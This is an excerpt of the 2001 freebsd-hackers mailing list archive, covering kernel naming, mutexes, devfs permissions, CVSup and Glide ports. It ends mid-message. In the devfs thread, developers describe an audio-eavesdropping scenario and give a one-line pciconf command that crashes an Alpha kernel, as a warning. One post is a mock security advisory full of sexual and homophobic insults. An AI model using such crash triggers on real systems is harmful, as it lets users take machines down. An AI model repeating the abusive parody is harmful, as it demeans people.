>> Huh? syscall2() is an internal kernel function. The only thing that might >> call it is a kernel module, and we won't support 4.x KLD's on 5.0. Period. >> It was renamed to syscall2() to cause old KLD's to fail to load with a >> symbol >> lookup problem back when teh MPSAFE flag was first added to x86 syscalls. >> The >> only thing that changing it back to syscall() in -current does is cause any >> 6 >> month old 5.0-current KLD's that happen to call syscall() to call it wrong. > > Uhm.. I believe he meant syscall(2) as in 'the "syscall" entity described > in section 2 of the manual', which in this case happens to be: > > NAME > syscall, __syscall - indirect system call > > ..as used in src/lib/libc/sys/*.c. I'm not renaming that function. I'm renaming syscall2() in sys/i386/i386/trap.c, which is an internal function only used by the kernel for the kernel side of syscall entry. -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 11:20: 7 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from cornelius.home.wwwi.com (adsl-63-199-171-171.dsl.snfc21.pacbell.net [63.199.171.171]) by hub.freebsd.org (Postfix) with ESMTP id DDB0937B65D for ; Fri, 2 Feb 2001 11:19:48 -0800 (PST) Received: from polonius.wwwi.com (adsl-63-199-171-174.dsl.snfc21.pacbell.net [63.199.171.174]) by cornelius.home.wwwi.com (8.10.1/8.10.1) with ESMTP id f12JJlu05108; Fri, 2 Feb 2001 11:19:47 -0800 (PST) Message-Id: <4.3.2.7.2.20010202110620.0220cb98@pop.wwwi.com> X-Sender: jdw_list@cornelius.home.wwwi.com (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 02 Feb 2001 11:20:10 -0800 To: freebsd-hackers@freebsd.org From: "Jeffrey D. Wheelhouse" Subject: POSIX mutexes on FreeBSD Cc: jdw_list@wwwi.com Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, While porting a project from Solaris to FreeBSD 4.2, I found out that the existing FreeBSD implementation of POSIX mutexes doesn't support sharing mutexes between processes. In order to get around this, I eventually did my own implementation of mutexes that works within the uthread framework and supports the PTHREAD_PROCESS_SHARED attribute. I can see that there are a lot of changes coming down the road in -current that could potentially affect this area. However, I don't have a good feel for how far it is to a future including kernel-based synchronization objects being available to user processes. If there is interest out there, and if it makes sense architecturally, I could do the work necessary to integrate my changes into the uthread code and submit it. Would that be of enough value/interest to be worth doing? Thanks, Jeff To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 11:34:47 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from chopper.Poohsticks.ORG (chopper.poohsticks.org [63.227.60.73]) by hub.freebsd.org (Postfix) with ESMTP id 145E537B67D for ; Fri, 2 Feb 2001 11:34:28 -0800 (PST) Received: from chopper.Poohsticks.ORG (drew@localhost.poohsticks.org [127.0.0.1]) by chopper.Poohsticks.ORG (8.10.1/8.10.1) with ESMTP id f12JYFi00475; Fri, 2 Feb 2001 12:34:15 -0700 Message-Id: <200102021934.f12JYFi00475@chopper.Poohsticks.ORG> To: milunovic Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: strace In-reply-to: Your message of "Fri, 02 Feb 2001 17:44:06 GMT." MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <471.981142454.1@chopper.Poohsticks.ORG> Date: Fri, 02 Feb 2001 12:34:14 -0700 From: Drew Eckhardt Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message , m ilunovic@sendmail.ru writes: >Is there strace for FreeBSD? There's truss(1) and ktrace(1). -- Home Page For those who do, no explanation is necessary. For those who don't, no explanation is possible. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 11:45: 0 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ringworld.nanolink.com (ringworld.nanolink.com [195.24.48.189]) by hub.freebsd.org (Postfix) with SMTP id 3C9E537B401 for ; Fri, 2 Feb 2001 11:44:33 -0800 (PST) Received: (qmail 736 invoked by uid 1000); 2 Feb 2001 19:42:55 -0000 Date: Fri, 2 Feb 2001 21:42:55 +0200 From: Peter Pentchev To: John Baldwin Cc: freebsd-hackers@FreeBSD.org Subject: Re: Suboptimal mmap of devices on i86 Message-ID: <20010202214255.A396@ringworld.oblivion.bg> Mail-Followup-To: John Baldwin , freebsd-hackers@FreeBSD.org References: <20010202122754.F328@ringworld.oblivion.bg> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from jhb@FreeBSD.org on Fri, Feb 02, 2001 at 11:16:15AM -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Feb 02, 2001 at 11:16:15AM -0800, John Baldwin wrote: > > On 02-Feb-01 Peter Pentchev wrote: > > On Thu, Feb 01, 2001 at 01:19:24PM -0800, John Baldwin wrote: > >> > >> On 01-Feb-01 Doug White wrote: > >> > On Mon, 29 Jan 2001, John Baldwin wrote: > >> > > >> >> Then only rename it in 4.x We can do an API change for 5.0. We'll be > >> >> renaming syscall2() back to syscall() in 5.0 for example. We don't > >> >> want to end up with syscall47() someday in FreeBSD 67.2. :-P > >> > > >> > And what happens to apps using the previous syscall(2) interface? They > >> > die horribly? That's not acceptable. > >> > >> Huh? syscall2() is an internal kernel function. The only thing that might [snip] > > > > NAME > > syscall, __syscall - indirect system call > > > > ..as used in src/lib/libc/sys/*.c. > > I'm not renaming that function. I'm renaming syscall2() in > sys/i386/i386/trap.c, which is an internal function only used > by the kernel for the kernel side of syscall entry. *Oof*. Yeah, that's a heavy cluebat, but I did deserve the smack. Of course I knew there was a syscall() -> syscall2() transition in the kernel, and I knew that the userland syscall() function had absolutely nothing to do with that. And then, of course, I had to demonstrate lack of basic reading skills. Sorry. G'luck, Peter -- This would easier understand fewer had omitted. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 12: 0:21 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from meow.osd.bsdi.com (meow.osd.bsdi.com [204.216.28.88]) by hub.freebsd.org (Postfix) with ESMTP id 74E6D37B401 for ; Fri, 2 Feb 2001 12:00:03 -0800 (PST) Received: from laptop.baldwin.cx (john@jhb-laptop.osd.bsdi.com [204.216.28.241]) by meow.osd.bsdi.com (8.11.1/8.9.3) with ESMTP id f12Jxk390687; Fri, 2 Feb 2001 11:59:46 -0800 (PST) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20010202214255.A396@ringworld.oblivion.bg> Date: Fri, 02 Feb 2001 11:59:52 -0800 (PST) From: John Baldwin To: Peter Pentchev Subject: Re: Suboptimal mmap of devices on i86 Cc: freebsd-hackers@FreeBSD.org Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 02-Feb-01 Peter Pentchev wrote: > On Fri, Feb 02, 2001 at 11:16:15AM -0800, John Baldwin wrote: >> >> On 02-Feb-01 Peter Pentchev wrote: >> > On Thu, Feb 01, 2001 at 01:19:24PM -0800, John Baldwin wrote: >> >> >> >> On 01-Feb-01 Doug White wrote: >> >> > On Mon, 29 Jan 2001, John Baldwin wrote: >> >> > >> >> >> Then only rename it in 4.x We can do an API change for 5.0. We'll be >> >> >> renaming syscall2() back to syscall() in 5.0 for example. We don't >> >> >> want to end up with syscall47() someday in FreeBSD 67.2. :-P >> >> > >> >> > And what happens to apps using the previous syscall(2) interface? They >> >> > die horribly? That's not acceptable. >> >> >> >> Huh? syscall2() is an internal kernel function. The only thing that >> >> might > [snip] >> > >> > NAME >> > syscall, __syscall - indirect system call >> > >> > ..as used in src/lib/libc/sys/*.c. >> >> I'm not renaming that function. I'm renaming syscall2() in >> sys/i386/i386/trap.c, which is an internal function only used >> by the kernel for the kernel side of syscall entry. > > *Oof*. Yeah, that's a heavy cluebat, but I did deserve the smack. Not necessarily. Heavy cluebats are not always conducive to encouraging new developers. :-/ But that wasn't _that_ heavy of a cluebat. :) FWIW, on the alpha and ia64, we still use just syscall() as the name of the function in the kernel (of course, they don't support MP safe syscalls yet.) Why a) we worried about an API change in -current and b) only did this for one architecture in light of the fact that all archs will have MP safe syscalls RSN is beyond me... -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 12: 9: 8 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 080CD37B401; Fri, 2 Feb 2001 12:08:44 -0800 (PST) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.11.1/8.11.1) with SMTP id f12K8gh33455; Fri, 2 Feb 2001 15:08:43 -0500 (EST) (envelope-from robert@fledge.watson.org) Date: Fri, 2 Feb 2001 15:08:42 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org To: freebsd-current@FreeBSD.org, freebsd-hackers@FreeBSD.org Subject: Watch your devfs permissions in driver make_dev calls Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Driver developers! As you probably know by now, Poul-Henning has enabled DEVFS in the GENERIC kernel on FreeBSD 5.0-CURRENT. This is a strong feature and it's great to see it getting brought back to life. However! Many of consumers of make_dev() have chosen their default permissions somewhat sloppily, and the results have to be thought through a little. On my workstation, I found the following: crw-r--r-- 1 root operator 117, 0 Dec 31 1969 acd0a crw-r--r-- 1 root operator 117, 2 Dec 31 1969 acd0c .. crw-rw-rw- 1 root wheel 30, 20 Dec 31 1969 audio1.0 crw-rw-rw- 1 root wheel 30, 0x00010014 Dec 31 1969 audio1.1 .. crw-rw-rw- 1 root wheel 21, 0 Dec 31 1969 bpsm0 .. crw-rw-rw- 1 root wheel 30, 19 Dec 31 1969 dsp1.0 crw-rw-rw- 1 root wheel 30, 0x00010013 Dec 31 1969 dsp1.1 crw-rw-rw- 1 root wheel 30, 21 Dec 31 1969 dspW1.0 crw-rw-rw- 1 root wheel 30, 0x00010015 Dec 31 1969 dspW1.1 .. crw-rw-rw- 1 root wheel 30, 16 Dec 31 1969 mixer1 .. crw-r--r-- 1 root wheel 78, 0 Dec 31 1969 pci .. cr--r--r-- 1 root wheel 30, 6 Dec 31 1969 sndstat .. crw-r--r-- 1 root operator 108, 255 Dec 31 1969 usb crw-r--r-- 1 root operator 108, 0 Dec 31 1969 usb0 I've done a brief grep through src/sys/dev/* and noticed a lot of other potential problems. I realize the permissions on a sound device seem a bit trivial, but consider the following scenario: Due to a bug in fingerd, a set of workstations in a mail/phone order center is compromised. The attacker uses the bug in fingerd to gain read access to /dev/audio or /dev/dsp, and streams recordings of all conversations in the room to a remote site where he types in credit card numbers and personal information as he sees fit. Or maybe he exploits the same bugs to listen to administrator conversations in a NOC and pick up router passwords. Some of the permissions above are probably fine, as they're for getting status on busses, etc, but generally speaking, excessively liberal permissions can be a serious problem in /dev. Allow direct read access from CDROM media can give them access to keying material or password crypts for CDROM-booted workstations, or access to 1-time pad data stored on the CD. Or to licensed commercial software or intellectual property. I'm not familiar with the fbtab mechanism, but it may be that we should be adding support for the audiot devices (etc) to it, or making this part of an eventual devd. In any case, the default devfs permissions should be intended to be closed, and then opened as needed by privileged software, rather than open and then closed. Otherwise you introduce race conditions, and unintended consequences. Also, I realize that we have constants in kernel for the wheel and operator groups, but ideally, I'd like to see those be purely userland concepts. The kernel security model generally recognizes one uid, the superuser, as having special privileges over others. Hardcoding other user or group id's into the kernel pushes userland concepts (/etc/passwd, /etc/group, /usr/sbin/login) into the kernel. Setting additional rights for specific groups (operator, tty, etc) can be done as part of a userland boot or login process. Robert N M Watson FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 12:45: 7 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.wolves.k12.mo.us (mail.wolves.k12.mo.us [207.160.214.1]) by hub.freebsd.org (Postfix) with ESMTP id 164AD37B401 for ; Fri, 2 Feb 2001 12:44:49 -0800 (PST) Received: from mail.wolves.k12.mo.us (cdillon@mail.wolves.k12.mo.us [207.160.214.1]) by mail.wolves.k12.mo.us (8.9.3/8.9.3) with ESMTP id OAA66616; Fri, 2 Feb 2001 14:44:44 -0600 (CST) (envelope-from cdillon@wolves.k12.mo.us) Date: Fri, 2 Feb 2001 14:44:44 -0600 (CST) From: Chris Dillon To: John Polstra Cc: , Subject: Re: CVSup7.FreeBSD.org is back in service In-Reply-To: <200102021754.f12Hscu03043@vashon.polstra.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 2 Feb 2001, John Polstra wrote: > In article <3A79145A.39CF9671@elischer.org>, > Julian Elischer wrote: > > > > I have the folowing suggestion for CVSup.. > > the ability to specify several servers. > > Cvsup can have a quick exchange with each to inquire about load and check the > > latency and bandwidth > > and the last time updated, and choose the best.... > > Since you control both ends this is possible.. > > This is a frequently requested feature, but I've always been reluctant > to provide it. Human nature being what it is, I'm afraid soon > everybody would have 15 servers listed in their supfiles. So 15 > servers would get hit on each update instead of just one. It is > true that the load query wouldn't hit the servers nearly as hard as > an actual update. But it would require forking a process at least. [...] Finding the fastest server isn't always as important as finding one that works. I had my mirror pointed at cvsup7 (or maybe it was cvsup6) when it went away for a while, and I never knew the updates were failing until after several cvsups from my mirror I noticed nothing was changing, which is very unusual. :-) A nice feature would be to add multiple cvsup servers to use as fallbacks with some way of knowing if the server you've just fallen back to has a later copy of the tree than you do. -- Chris Dillon - cdillon@wolves.k12.mo.us - cdillon@inter-linc.net FreeBSD: The fastest and most stable server OS on the planet. For IA32 and Alpha architectures. IA64, PPC, and ARM under development. http://www.freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 12:54:15 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.lokigames.com (www.lokigames.com [63.80.144.66]) by hub.freebsd.org (Postfix) with ESMTP id 9C92F37B401 for ; Fri, 2 Feb 2001 12:53:58 -0800 (PST) Received: from asgard.lokigames-lan.com (user94.lokigames.com [63.80.144.94]) by mail.lokigames.com (8.9.3/8.9.3) with ESMTP id MAA10046 for ; Fri, 2 Feb 2001 12:50:47 -0800 Received: (from raistlin@localhost) by asgard.lokigames-lan.com (8.9.3/8.9.3) id MAA14509 for hackers@freebsd.org; Fri, 2 Feb 2001 12:53:57 -0800 Date: Fri, 2 Feb 2001 12:53:57 -0800 From: Rafael Barrero To: hackers@freebsd.org Subject: Glide2x on FreeBSD? Anyone? Anyone... Message-ID: <20010202125357.A14462@lokigames.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Has anyone here had any luck compiling Glide2x (from the SourceForge project pages - http://www.sourceforge.net/project/?form_grp=369) under FreeBSD? Glide2x, not Glide3x. Essentially I'm looking to build a native glide2x.so for testing under FreeBSD, but I'm not having much luck with the (latest) CVS snapshot. It seems to me (I could be utterly wrong here) that the makefiles and organization of the distribution are mangled to some extent. The webpage does indicate FreeBSD, unfortunately I've had little luck building this thing. I noticed there are some existing FreeBSD ports available... but those only lead me to dead links. If I could get someone to fix this or help me out, that would be fantastic. Much appreciated, Rafael Barrero Loki Software, Inc. "You know ... you take the killing for granted. And then it's gone, and you're like, 'I wish I'd appreciated it more.' Stopped and smelled the corpses, you know?" -Spike (BtVS) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 17:31:52 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp1b.mail.yahoo.com (smtp3.mail.yahoo.com [128.11.68.135]) by hub.freebsd.org (Postfix) with SMTP id 626B637B503 for ; Fri, 2 Feb 2001 17:31:31 -0800 (PST) Received: from roc-24-161-70-254.rochester.rr.com (HELO halstead007) (24.161.70.254) by smtp.mail.vip.suc.yahoo.com with SMTP; 3 Feb 2001 02:34:19 -0000 X-Apparently-From: Message-ID: <011a01c08d80$e853a4e0$0601a8c0@halstead007> From: "James Halstead" To: Subject: How to use parallel port tape drive Date: Fri, 2 Feb 2001 20:30:35 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have a tape drive (hp coloradoo700) which uses qic-3010 tapes. I wanted to use it but I do not know how to access the drive over the parallel port. The only tape drives I saw in the NOTES file are scsi. Can somebody please point me to man pages / web pages that will show how to use a drive like this? I am running on 5.0 current. Thanks for any help, ~James _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 19:23:35 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp.interlog.com (bretweir.total.net [154.11.89.176]) by hub.freebsd.org (Postfix) with SMTP id 76CC937B491 for ; Fri, 2 Feb 2001 19:23:17 -0800 (PST) Received: (qmail 24610 invoked from network); 3 Feb 2001 03:23:13 -0000 Received: from unknown (HELO vws3.interlog.com) (207.34.202.29) by bretweir.total.net with SMTP; 3 Feb 2001 03:23:13 -0000 Received: by vws3.interlog.com (8.9.0/8.9.0) id WAA17737; Fri, 2 Feb 2001 22:23:16 -0500 (EST) Date: Fri, 2 Feb 2001 22:23:16 -0500 (EST) Message-Id: <200102030323.WAA17737@vws3.interlog.com> To: freebsd-hackers@FreeBSD.ORG From: FreeBSD Security Advisories Subject: FreeBSD Security Advisory: FreeBSD-SA-01:20.egos Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ============================================================================= FreeBSD-SA-01:09 Security Advisory FreeBSD, Inc. Topic: Local ego exploit Category: (l)users Announced: 2001-02-03 Credits: AntiOffline.com, Disgraced.org, Deficiency.org sil, deran9ed Affects: All released (l)users of FreeBSD Corrected: (l)Users should seek psychotherapy shock therapy, along with multiple doses of Thorazine chased by 2 shots of Liquid Draino for maximum effectivity Vendor status: Feelings still hurting while crying over spilled milk. FreeBSD only: YES and some of their (l)users I. Background FreeBSD (l)users became disgruntled about the original advisory concerning the bloated remarks aimed towards their chopperating sysdumb. This became an issue for some on Internet Relay Chat, and caused them to ban others' connection since their ego's had been hurt. (boo fsckin hoo) II. Problem Description Penis envy seems to be the number one cause, and we are trying to differentiate between the women who still have penises, that are crying (game) foul. For the hermies we suggest counseling, and estrogen treatment followed by a visit to fellow hermie JP @ AntiOnline.com as well as the switch hitting lesbo at http://www.happyhacker.org in an effort to ass!ess their sexualities. Egos can be strengthened by practicing humility and learning that once in a while it is a good thing to actually have a good laugh, although to those whose egos' that have been hurt we suggest that you replace the batteries in your dildos and reinsert them into your anal crevices. III. Impact None to those with a sense of humor, although those without them will grow old and become miserable rootards, capable of placing razor blades, crushed glass, and cyanide, in the bags of small children who are out for Halloween Trick or Treating. IV. Workaround Take a look at your own shortcomings before judging others. V. Solution Socialize a bit more. VI. Shouts Marshall Mathers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 19:30:42 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.inka.de (quechua.inka.de [212.227.14.2]) by hub.freebsd.org (Postfix) with ESMTP id 7712137B401 for ; Fri, 2 Feb 2001 19:30:25 -0800 (PST) Received: from kemoauc.mips.inka.de (uucp@) by mail.inka.de with local-bsmtp id 14OtP6-0002ES-00; Sat, 3 Feb 2001 04:30:24 +0100 Received: (from daemon@localhost) by kemoauc.mips.inka.de (8.11.1/8.11.1) id f132cX374367 for freebsd-hackers@freebsd.org; Sat, 3 Feb 2001 03:38:33 +0100 (CET) (envelope-from daemon) From: naddy@mips.inka.de (Christian Weisgerber) Subject: Re: fdescfs oddities Date: Sat, 3 Feb 2001 02:38:32 +0000 (UTC) Message-ID: <95fqv8$289p$1@kemoauc.mips.inka.de> References: <20010201162352.B351@nebula.cybercable.fr> <20010201143246.B632@holly.calldei.com> Originator: naddy@mips.inka.de (Christian Weisgerber) To: freebsd-hackers@freebsd.org Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Chris Costello wrote: > I've done some work on fdescfs in -CURRENT a while back [...] While we are talking about fdesc(fs), how does it relate to devfs? I.e. will devfs make fdesc useless, or require it, or...? -- Christian "naddy" Weisgerber naddy@mips.inka.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 19:46:13 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mta4.rcsntx.swbell.net (mta4.rcsntx.swbell.net [151.164.30.28]) by hub.freebsd.org (Postfix) with ESMTP id A28FF37B401 for ; Fri, 2 Feb 2001 19:45:56 -0800 (PST) Received: from holly.calldei.com ([208.191.149.190]) by mta4.rcsntx.swbell.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0G8500483WHP46@mta4.rcsntx.swbell.net> for freebsd-hackers@FreeBSD.ORG; Fri, 2 Feb 2001 21:32:14 -0600 (CST) Received: (from chris@localhost) by holly.calldei.com (8.11.1/8.9.3) id f133WPR19680; Fri, 02 Feb 2001 21:32:25 -0600 (CST envelope-from chris) Date: Fri, 02 Feb 2001 21:32:19 -0600 From: Chris Costello Subject: Re: fdescfs oddities In-reply-to: <95fqv8$289p$1@kemoauc.mips.inka.de>; from naddy@mips.inka.de on Sat, Feb 03, 2001 at 02:38:32AM +0000 To: Christian Weisgerber Cc: freebsd-hackers@FreeBSD.ORG Reply-To: chris@calldei.com Message-id: <20010202213219.A16831@holly.calldei.com> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-disposition: inline User-Agent: Mutt/1.2.5i References: <20010201162352.B351@nebula.cybercable.fr> <20010201143246.B632@holly.calldei.com> <95fqv8$289p$1@kemoauc.mips.inka.de> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Saturday, February 03, 2001, Christian Weisgerber wrote: > While we are talking about fdesc(fs), how does it relate to devfs? > I.e. will devfs make fdesc useless, or require it, or...? I don't really know yet. The reason I did it was to make it the code used by devfs, but I haven't heard anything about it in a good while. -- +-------------------+------------------------------------------+ | Chris Costello | I do not fear computers. | | chris@calldei.com | I fear the lack of them. - Isaac Asimov | +-------------------+------------------------------------------+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 20:10:29 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mobile.wemm.org (c1315225-a.plstn1.sfba.home.com [65.0.135.147]) by hub.freebsd.org (Postfix) with ESMTP id EA3AC37B401; Fri, 2 Feb 2001 20:10:10 -0800 (PST) Received: from netplex.com.au (localhost [127.0.0.1]) by mobile.wemm.org (8.11.1/8.11.1) with ESMTP id f134AAW35066; Fri, 2 Feb 2001 20:10:10 -0800 (PST) (envelope-from peter@netplex.com.au) Message-Id: <200102030410.f134AAW35066@mobile.wemm.org> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 To: Robert Watson Cc: freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Watch your devfs permissions in driver make_dev calls In-Reply-To: Date: Fri, 02 Feb 2001 20:10:10 -0800 From: Peter Wemm Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Robert Watson wrote: > crw-r--r-- 1 root wheel 78, 0 Dec 31 1969 pci This one may appear harmless, but it is not. It is trivially easy to create an alignment fault (fatal on an alpha) with the userland pciconf tool. We must not allow this to be used by users until the kernel part is fixed. Eg: try this on an alpha: pciconf -r -l pci0:x:x 0x3 - ie: read a longword at byte offset 3 in configuration space.. kaboom! Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 20:23: 5 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from bazooka.unixfreak.org (bazooka.unixfreak.org [63.198.170.138]) by hub.freebsd.org (Postfix) with ESMTP id 5774C37B491; Fri, 2 Feb 2001 20:22:42 -0800 (PST) Received: by bazooka.unixfreak.org (Postfix, from userid 1000) id 0A02C3E02; Fri, 2 Feb 2001 20:22:41 -0800 (PST) Received: from unixfreak.org (localhost [127.0.0.1]) by bazooka.unixfreak.org (Postfix) with ESMTP id 0011F3C10C; Fri, 2 Feb 2001 20:22:42 -0800 (PST) To: Matt Dillon Cc: mi@aldan.algebra.com, deischen@FreeBSD.ORG, hackers@freebsd.org Subject: Re: mount_md (was: mdconfig config file (was: cvs commit: src/sys/i386/conf GENERIC)) In-Reply-To: Message from Matt Dillon of "Fri, 02 Feb 2001 12:55:11 PST." <200102022055.f12KtBL98916@earth.backplane.com> Date: Fri, 02 Feb 2001 20:22:41 -0800 From: Dima Dorfman Message-Id: <20010203042241.0A02C3E02@bazooka.unixfreak.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [ cvs-(all|commiters) --> -hackers ] > : > :> > :> (this whole thing is predicated on someone writing a mount_md wrapper > :> for MD that mimics the options mount_mfs accepts, for compatibility). > : > :I'll do it. Would it be safe to assume that it's acceptable to write > :a C program to parse the arguments, build command lines to > :appropriately invoke disklabel, newfs, maybe tunefs, and mount, then > :call system(3) to execute them? > : > : Dima Dorfman > : dima@unixfreak.org > > Yes, though preferably I'd fork/exec the sub-programs (and use > absolute paths) rather then use system(), because the mount program > will be running during booting and its important to have it use as > few system resources as possible in case the system is screwed up. > We don't want it exec'ing /bin/sh. Point taken. I kind of figured system() was a little evil; that's why I asked. I've written the majority of the code. You can find it at: http://www.unixfreak.org/~dima/home/mount_md.c. It is mostly functional. It accepts just about all of the arguments that mount_mfs does, plus a few others. It has the ability to create vnode, swap, and malloc -backed disks. It's not terribly well-documented (I'll write up a man page if it's decided that this is acceptable), but most of the options are easily explained by looking at a few lines of code. Some thoughts: - If you want softupdates, you need to specify the -S flag. Should softupdates be the default? - To suppress the output of disklabel/newfs/etc., it closes fds 0-2. Is this evil? Should I devise another method of doing this (something like opening /dev/null and dup2'ing that fd to 0-2)? - Should there be an option to make use of md's autounit feature? I don't think it will be very hard to implement, but I don't know how useful it would be. I think that's it. Comments? Suggestions? Thanks in advance Dima Dorfman dima@unixfreak.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 21:58: 2 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from www.evil.2y.net (ip-216-23-55-121.adsl.one.net [216.23.55.121]) by hub.freebsd.org (Postfix) with ESMTP id 206D937B401 for ; Fri, 2 Feb 2001 21:57:26 -0800 (PST) Received: (from cokane@localhost) by www.evil.2y.net (8.11.2/8.11.1) id f136AUp71706; Sat, 3 Feb 2001 01:10:30 -0500 (EST) (envelope-from cokane) Date: Sat, 3 Feb 2001 01:10:30 -0500 From: Coleman Kane To: Rafael Barrero Cc: hackers@freebsd.org Subject: Re: Glide2x on FreeBSD? Anyone? Anyone... Message-ID: <20010203011030.A71634@cokane.yi.org> References: <20010202125357.A14462@lokigames.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="3MwIy2ne0vdjdPXF" X-Mailer: Mutt 1.0.1i In-Reply-To: <20010202125357.A14462@lokigames.com>; from raistlin@lokigames.com on Fri, Feb 02, 2001 at 03:54:29PM -0500 X-Vim: vim:tw=70:ts=4:sw=4 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --3MwIy2ne0vdjdPXF Content-Type: text/plain; charset=us-ascii I tried working with this some time ago. I managed to eventually get a glide2x.so that compiled, but all my newly compiled glide-based apps would crash suddenly. There are some patches available (I am including what I have found), that are supposed to fix this. Perhaps we should create a code branch of glide2x to work on for FreeBSD until we get something stable? I have been 